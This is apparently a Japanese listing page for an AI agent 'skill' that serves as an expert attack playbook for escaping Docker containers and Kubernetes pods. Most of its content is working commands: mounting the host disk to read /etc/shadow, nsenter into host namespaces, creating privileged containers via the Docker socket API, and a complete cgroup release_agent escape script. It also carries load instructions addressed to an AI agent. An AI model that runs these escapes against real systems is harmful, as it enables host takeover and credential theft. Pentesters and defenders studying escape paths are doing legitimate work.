container-escape-techniques について
コンテナやKubernetes Podからの脱出経路を調べるペネトレーションテスト向けスキルです。権限、ケイパビリティ、名前空間、cgroup、ランタイムの脆弱性、Pod設定別に手法を整理し、確認手順とツール情報を示します。
主な機能
- 01コンテナとケイパビリティの確認
- 02特権コンテナからの脱出手法
- 03Dockerソケットとcgroupの手法
- 04名前空間とランタイム脆弱性の経路
- 05Kubernetes Podの脱出シナリオ
- 06判断ツリーとツール情報
活用シーン
- 01セキュリティテストでコンテナの露出を評価
- 02危険なLinuxケイパビリティ設定を調査
- 03Dockerソケットやcgroupの脱出経路を確認
- 04Kubernetes Pod設定のホストアクセスリスクを監査
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill container-escape-techniquesインストール後、Claude Code で/container-escape-techniquesを入力して読み込まれたか確認します。
同梱ファイルDOCKER_ESCAPE_CHAINS.md
詳細
スキル:コンテナエスケープ技術 — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:エキスパート向けのコンテナエスケープ技術です。特権コンテナからの脱出、ケーパビリティの悪用、Docker ソケットの悪用、cgroup release_agent、名前空間のエスケープ、ランタイムの CVE、Kubernetes ポッドからの脱出を取り上げます。基盤モデルでは、ケーパビリティの組み合わせや cgroup の操作による微妙なエスケープ経路を見落としがちです。
0. 関連するルーティング
詳しく調べる前に、次のスキルの読み込みを検討してください。
- コンテナからの脱出を試みる前に、まずコンテナ内で root 権限を取得する必要がある場合は、linux-privilege-escalation
- ポッドからの脱出以外の K8s 固有の攻撃経路については、kubernetes-pentesting
- seccomp/AppArmor によってエスケープ手法がブロックされる場合は、linux-security-bypass
高度なリファレンス
次の情報が必要な場合は、DOCKER_ESCAPE_CHAINS.md も読み込んでください。
- よくある設定ミスに対する、手順ごとのエスケープチェーン
- Docker-in-Docker のエスケープシナリオ
- コマンド一式を含む Kubernetes 固有のエスケープ経路
1. コンテナ内にいるかどうかの確認
# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname # random hex = likely container
# Detailed check
cat /proc/1/status | head -5 # PID 1 is not systemd/init?
mount | grep -i "overlay" # overlay filesystem?
ip addr # veth interface? limited NICs?
コンテナ検出ツール
# amicontained: shows container runtime, capabilities, seccomp
./amicontained
# deepce: Docker enumeration and exploit suggester
./deepce.sh
# CDK: all-in-one container pentesting toolkit
./cdk evaluate
2. 特権コンテナからの脱出
--privileged フラグが使用されている場合、コンテナにはホストのほぼすべてのケーパビリティとデバイスへのアクセス権があります。
2.1 ホストのファイルシステムをマウントする
# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged
# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1
# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash
2.2 nsenter(ホストの名前空間に入る)
# From privileged container, enter host PID 1's namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# This gives a shell in the host's namespace context
# Effectively a full host shell
2.3 特権モード+ホスト PID 名前空間
# If hostPID: true is set (Kubernetes)
# Access host processes via /proc
ls /proc/1/root/ # Host root filesystem
cat /proc/1/root/etc/shadow
# Inject into host process
nsenter --target 1 --mount -- bash
3. ケーパビリティを利用した脱出
3.1 CAP_SYS_ADMIN — 最も汎用性が高い
# Check capabilities
capsh --print 2>/dev/null
grep CapEff /proc/self/status
# Escape via mounting
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
# Or mount host filesystem if device access exists
mount /dev/sda1 /mnt/host 2>/dev/null
3.2 CAP_SYS_PTRACE — プロセスインジェクション
# Inject shellcode into a host process (requires host PID namespace)
# Find a root process
ps aux | grep root
# Use gdb or python-ptrace to inject
python3 << 'EOF'
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library("c"))
# Attach to host process, inject shellcode
# ... (full inject_shellcode implementation)
EOF
3.3 CAP_NET_ADMIN
# Manipulate host network if host network namespace is shared
# ARP spoofing, route manipulation, traffic interception
iptables -L # Can see/modify host firewall rules?
ip route # Can modify routing?
3.4 CAP_DAC_READ_SEARCH(Shocker エクスプロイト)
# open_by_handle_at() bypass — read files from host
# Compile and run the "shocker" exploit
# Works when DAC_READ_SEARCH capability is granted
gcc shocker.c -o shocker
./shocker /etc/shadow # Read host file
4. Docker ソケットによる脱出(/var/run/docker.sock)
ls -la /var/run/docker.sock # Check if mounted
# With Docker CLI:
docker run -v /:/host --privileged -it alpine chroot /host bash
# Without CLI (curl only) — create privileged container via API:
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
# Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)
5. cgroup v1 release_agent による脱出
CAP_SYS_ADMIN と cgroup v1 を使用するコンテナ向けの古典的な脱出手法です。
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1 # Or: reverse shell
EOF
chmod +x /cmd
sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output
6. cgroup v2/eBPF による脱出
# Cgroup v2: no release_agent file
# Check cgroup version:
mount | grep cgroup
# cgroup2 → v2
# eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)
# Kernel ≥ 5.8 with unprivileged eBPF enabled
cat /proc/sys/kernel/unprivileged_bpf_disabled
# 0 = eBPF available to unprivileged users
7. 名前空間のエスケープ
ユーザー名前空間
# If user namespace creation is allowed inside container:
unshare -U --map-root-user bash
# Now "root" inside new namespace
# Combined with other capabilities → mount host filesystem
PID 名前空間からの脱出
# If hostPID: true (shared PID namespace with host)
# Access host processes directly:
ls /proc/1/root/ # Host's root filesystem
cat /proc/1/root/etc/shadow
# Inject into host process:
nsenter -t 1 -m -u -i -n -p -- bash
8. ランタイムの脆弱性
runc CVE-2019-5736
docker exec の実行時に、ホストの runc バイナリを上書きします。
# Conditions: docker exec into a malicious container triggers exploit
# The container's /bin/sh is replaced with exploit binary
# When next exec happens → overwrites /usr/bin/runc on host
# PoC: modify entrypoint to overwrite runc
# This is a one-shot exploit — runc is replaced permanently
containerd CVE-2020-15257
# Host network namespace shared + containerd < 1.3.9 / 1.4.3
# Abstract Unix socket accessible from container
# Connect to containerd shim API via @/containerd-shim/*.sock
cgroups CVE-2022-0492
# Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN
# release_agent writable by unprivileged user in container
9. Kubernetes ポッドからの脱出
| 危険な Pod Spec | 脱出方法 |
|---|---|
hostPID: true | nsenter -t 1 -m -u -i -n -p -- bash |
hostNetwork: true | ノードのサービス(Kubelet、etcd など)に直接アクセスする |
hostPath: {path: /} | chroot /host bash |
privileged: true | ホストディスクをマウントする/nsenter を使用する |
| RBAC を持つ SA トークン | API 経由で新しい特権ポッドを作成する |
K8s の攻撃経路全体については、kubernetes-pentesting を参照してください。
10. ツール
| ツール | 用途 | URL/コマンド |
|---|---|---|
| deepce | Docker の列挙+エクスプロイト候補の提案 | ./deepce.sh |
| CDK | コンテナ/K8s のエクスプロイトツールキット | ./cdk evaluate |
| amicontained | コンテナランタイム、ケーパビリティ、seccomp の表示 | ./amicontained |
| PEIRATES | Kubernetes のペネトレーションテスト | ./peirates |
| BOtB | Break out the Box — 自動エスケープ | ./botb -autopwn |
11. コンテナエスケープの判断ツリー
Inside a container?
│
├── Privileged mode? (CapEff = 0000003fffffffff)
│ ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
│ └── Partial capabilities? Check each:
│ ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
│ ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
│ ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
│ └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
│
├── Docker socket mounted? (/var/run/docker.sock)
│ └── Yes → create privileged container (§4)
│
├── Host PID namespace shared?
│ └── Yes → nsenter -t 1 or /proc/1/root access (§7)
│
├── Cgroup v1?
│ └── + CAP_SYS_ADMIN → release_agent escape (§5)
│
├── Runtime vulnerable?
│ ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│ └── containerd < 1.3.9 → CVE-2020-15257 (§8)
│
├── Kernel vulnerable?
│ └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
│
├── Kubernetes pod?
│ ├── Service account with elevated RBAC? → create escape pod (§9)
│ └── hostPath volume? → access host filesystem
│
└── None of the above?
├── Run deepce/CDK for automated detection
├── Check for writable host mount points
├── Enumerate network for other containers/services
└── Check /proc/self/mountinfo for interesting mounts
コメント
Markdown 対応